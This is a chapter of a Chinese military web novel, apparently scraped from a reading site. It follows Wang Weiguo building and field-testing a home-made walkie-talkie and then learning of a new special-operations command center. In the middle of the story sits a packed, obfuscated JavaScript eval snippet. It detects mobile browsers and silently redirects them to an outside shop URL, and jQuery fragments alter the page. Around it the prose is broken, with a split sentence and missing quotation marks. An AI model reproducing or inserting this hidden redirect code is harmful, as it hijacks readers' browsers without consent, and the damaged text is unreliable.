总装车间设在最深处的一栋厂房。


    窗户被厚厚的帆布遮住。


    门口有战士**警戒。


    王卫国亲自督导第一台样机的组装。


    老师傅们戴着白手套。


    小心翼翼地将电路板放入外壳。


    拧紧每一个螺丝。


    连接每一根导线。


    王卫国站在工作台旁。


    手里拿着清单。


    每完成一步，就勾掉一项。


    “天线接口。”


    “密封圈检查。”


    “电池触点压力测试。”


    他的声音平稳。


    但在寂静的车间里，格外清晰。


    最后一步。


    装上电池。


    打开电源开关。


    指示灯没有亮。


    车间里的空气瞬间凝固。


    老师傅额头冒出冷汗。


    “不应该啊……线路都检查过了……”


    “别急。”


    王卫国拿起万用表。


    “分段查。”


    他先从电源开始。


    电池电压正常。


    电源开关接触良好。


    问题出在主电路板上。


    某个焊点，在放大镜下发现了一条极其细微的裂纹。


    虚焊。


    王卫国放下万用表。


    “拆开。重焊。”


    没有人抱怨。


    老师傅拿起烙铁，小心翼翼地拆下那块比巴掌还小的电路板。


    在放大镜下，重新融化焊锡。


    让焊料充分浸润。


    再次组装。


    通电。


    这一次。


    指示灯亮起了稳定的绿光。


    车间里响起压抑的、轻微的呼气声。


    王卫国拿起步话机。


    走到车间外。


    许尚在另一栋厂房，拿着另一台测试机。


    “测试。一频道。”


    王卫国按下通话键。


    短暂的电流噪音后。


    许尚清晰的声音传来。


    “收到。音质清晰。”


    王卫国调整频率。


    “切换到五频道。加密模式测试。”


    声音变得略微失真但依然可辨。


    加密功能正常。


    他连续测试了通话距离、抗干扰能力、电池续航。


    基本参数都接近原版样品。


    但王卫国没有松懈。


    “做环境测试。”


    “低温。高温。潮湿。沙尘。”


    “连续通话二十四小时看稳定性。”


    样机被放入试验箱。


    经历严酷的考验。


    过程中又暴露出一些问题。


    低温下某个电容容量衰减。


    高温时外壳轻微变形。


    长时间通话后发射功率有波动。


    发现问题就解决问题。


    更换更耐低温的电容。


    调整外壳材料配方和加强筋设计。


    优化功放电路的散热。


    时间在反复的测试和调整中流逝。


    一个月期限到的前一天。


    第五版样机通过了全部环境测试。


    王卫国拿着那台略显粗糙、但无比结实的步话机。


    心里没有太多激动。


    只有一种沉甸甸的踏实。


    他知道这只是一个开始。


    但这条路走通了。


    当晚。


    他召集了所有参与的老师傅和核心人员。


    在简陋的食堂里加了几道菜。


    以茶代酒。


    “辛苦大家了。”


    王卫国举起茶杯。


    “东西做出来了很好。”


    “但更重要的是我们有了这个地方有了这套方法。”


    “以后我们还能做出更多我们需要的东西。”


    老师傅们不善言辞。


    只是用力点头。


    眼里有光。


    他们知道自己在做一件不寻常的事。


    这件事让他们觉得自己的手艺有了超越寻常的意义。


    第二天。


    王卫国带着两台样机


    陈祁峰副司令员亲自测试。


    在军区后山模拟复杂地形通信。


    效果让他惊讶。


    “这真是你们自己做的？”


    “是。”王卫国回答。


    “成本呢？


    “目前样机阶段，单台成本大约相当于进口价的六成。


    “规模化生产后，还能再降。


    陈祁峰抚摸着步话机结实的外壳。


    “好。很好。


    他看向王卫国。


    “那个‘农机维修合作社’，要维持好。


    “必要的时候，可以给它一些真实的、技术含量高的维修订单。


    “让它看起来更‘真’。


    “需要什么支持，直接打我办公室电话。


    “是！


    王卫国离开**办公室。


    脚步沉稳。


    他知道，自己手里多了一张牌。


    一张可以自己掌控的、坚实的牌。


    回到特战大队驻地。


    周华和赵铁柱他们围了上来。


    看着那两台崭新的步话机，兴奋不已。


    “**，以后咱们是不是就不用求爷爷告奶奶等装备了？


    “还早。王卫国说。


    “但这第一步，算是迈出去了。


    他看向远处起伏的山峦。


    “通知下去。<


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17137011|184587||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    p>“下周开始，新装备野外适应性训练。


    “我要知道，它在真正的雪原、丛林、沙漠里，到底有多可靠。


    “是！


    步话机被分发到几个尖刀班。


    战士们拿着这略显笨重、但明显更皮实的新家伙。


    眼神里充满了好奇和珍惜。


    他们不知道这东西从哪里来。


    但他们知道，这是“自己人弄出来的。


    训练中。


    步话机经历了摔打、浸水、严寒。


    它没有进口设备那么精致轻巧。


    但就像个憨厚的山里汉子。


    扛造。


    王卫国收集着每一次测试的数据。


    反馈回矿区。


    老师傅们根据反馈，继续改进。


    一条隐秘的、坚韧的供应链。


    就这样，在长白山的寒风里。


    悄然生长。


    它还很弱小。


    但它握在王卫国自己手里。


    这就够了。


    夜深了。


    王卫国办公室的灯还亮着。


    他面前铺开着新的图纸。


    不再是步话机。


    而是更复杂的单兵战术终端的初步构想。


    他知道这很难。


    可能需要很多年。


    但他有耐心。


    也有了这个可以慢慢打磨的、属于自己的“角落。


    他提起笔。


    在图纸的角落，写下几个字。


    “立足自身，久久为功


    笔尖沙沙。


    窗外的雪，又开始下了。


    **送达的那天。


    雪下得正紧。


    文件不长。


    三页纸。


    盖着军区司令部鲜红的印章。


    核心意思就一句：


    以“雪狐特战大队现有架构为基础。


    组建“军区特种作战指挥中心。


    代号“利刃。


    王卫国看完文件。


    没说话。


    他走到窗边。


    看着外面漫天飞舞的雪花。


    周华拿着文件的手有些抖。


    “**，这……这是要把我们架在火上烤啊。


    “不是烤。王卫国声音平静。


    “是放在靶子上。


    他转过身。


    “全军第一个。史无前例。


    “会有多少人等着看笑话，等着我们出错。


    许尚推了推眼镜。


    “行政级别虽然没明确提，但隶属司令部直管，规格低不了。


    “配套的资源、权限，恐怕也会引来不少眼红。


    “眼红不怕。王卫国走回桌前。


    “怕的是我们自己做不出东西，证明不了这个中心该存在。